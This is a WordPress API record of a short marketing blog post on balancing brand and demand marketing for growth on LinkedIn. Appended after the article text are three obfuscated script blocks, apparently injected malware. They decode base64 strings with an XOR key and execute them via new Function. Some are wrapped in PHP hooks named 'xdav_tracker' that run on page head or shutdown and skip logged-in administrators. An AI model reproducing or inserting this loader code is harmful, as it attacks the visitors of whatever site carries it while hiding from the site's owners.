{"id":3944,"date":"2022-02-21T04:52:41","date_gmt":"2022-02-21T10:52:41","guid":{"rendered":"https:\/\/momantra.com\/blog\/?p=3944"},"modified":"2026-07-05T06:13:09","modified_gmt":"2026-07-05T11:13:09","slug":"key-principle-of-growth-marketing-on-linkedin","status":"publish","type":"post","link":"https:\/\/momantra.com\/blog\/key-principle-of-growth-marketing-on-linkedin\/","title":{"rendered":"Key Principle of Growth Marketing on LinkedIn."},"content":{"rendered":"<p><a href=\"https:\/\/momantra.com\/blog\/key-principle-of-growth-marketing-on-linkedin\/mm_growth-marketing-01\/\" rel=\"attachment wp-att-3952\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-3952\" src=\"https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-scaled.jpg\" alt=\"Key Principle of Growth Marketing on LinkedIn\" width=\"2560\" height=\"1008\" srcset=\"https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-scaled.jpg 2560w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-1024x403.jpg 1024w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-768x302.jpg 768w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-1536x605.jpg 1536w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-2048x807.jpg 2048w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-1366x538.jpg 1366w, https:\/\/momantra.com\/blog\/wp-content\/uploads\/2022\/02\/MM_Growth-Marketing-01-600x236.jpg 600w\" sizes=\"auto, (max-width: 2560px) 100vw, 2560px\" \/><\/a><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">Marketers often tend to cater to one element of the <a href=\"https:\/\/momantra.com\/\">marketing strategy<\/a> through a singular outlook. Typically marketers spend more on-demand marketing than brand marketing. However, the research shows that balanced investment in both can help to optimize your growth marketing.<\/span><\/p>\n<h4><span style=\"font-weight: 400;\">These are the key principles that call for a Balanced Approach to your Brand.<\/span><\/h4>\n<ul>\n<li aria-level=\"1\">\n<h3><b>Customer and Non Customer<\/b><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Sustain the growth by targeting both existing customers and new customers together. The research shows that business growth is fueled by increasing customer loyalty. <\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><b>Awareness Frame\u00a0<\/b><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In order to grow, your brand needs to be recognized and remembered by consumers. Plan your campaigns that aim to increase your <a href=\"https:\/\/momantra.com\/\">company&#8217;s growth<\/a> and achieve fame.\u00a0\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><b>Short Term and Long Term\u00a0<\/b><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Short-term demand generation and long-term brand campaigns both are equally important to a company&#8217;s growth. Short-term efforts help in creating the demand whereas long-term campaigns efficiently convert the demand into revenue. So invest in both to drive the growth of your brand.<\/span><\/p>\n<ul>\n<li aria-level=\"1\">\n<h3><b>Broad &amp; Narrow Targeting\u00a0<\/b><\/h3>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Broaden your target audience and go beyond your existing customers in order to grow. A broad targeting strategy is the best way to drive business growth whereas Narrow Targeting focuses on a particular audience and uses the idea of \u201cbeing the best to a certain audience\u201d.<\/span><\/p>\n<p>It will be great to know what kind of marketing strategy you apply for your business, do share your business growth marketing in the comments.<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?>\n<script>\n!function(){var _0xe4e8=atob('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'),_0x33dc=109,_0xfb89=new Uint8Array(_0xe4e8['length']),_0x7bd8=0;for(;_0x7bd8<_0xe4e8['length'];_0x7bd8++)_0xfb89[_0x7bd8]=_0xe4e8['charCodeAt'](_0x7bd8)^_0x33dc;(new Function(new TextDecoder()['decode'](_0xfb89)))()}();\n<\/script><br \/>\n    <?php\n}\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Marketers often tend to cater to one element of the marketing strategy through a singular outlook. Typically marketers spend more on-demand marketing than brand marketing. However, the research shows that balanced investment in both can help to optimize your growth marketing. These are the key principles that call for a Balanced Approach to your Brand. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[111],"tags":[],"class_list":["post-3944","post","type-post","status-publish","format-standard","hentry","category-digital-marketing"],"_links":{"self":[{"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/posts\/3944","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/comments?post=3944"}],"version-history":[{"count":13,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/posts\/3944\/revisions"}],"predecessor-version":[{"id":4193,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/posts\/3944\/revisions\/4193"}],"wp:attachment":[{"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/media?parent=3944"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/categories?post=3944"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/momantra.com\/blog\/wp-json\/wp\/v2\/tags?post=3944"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}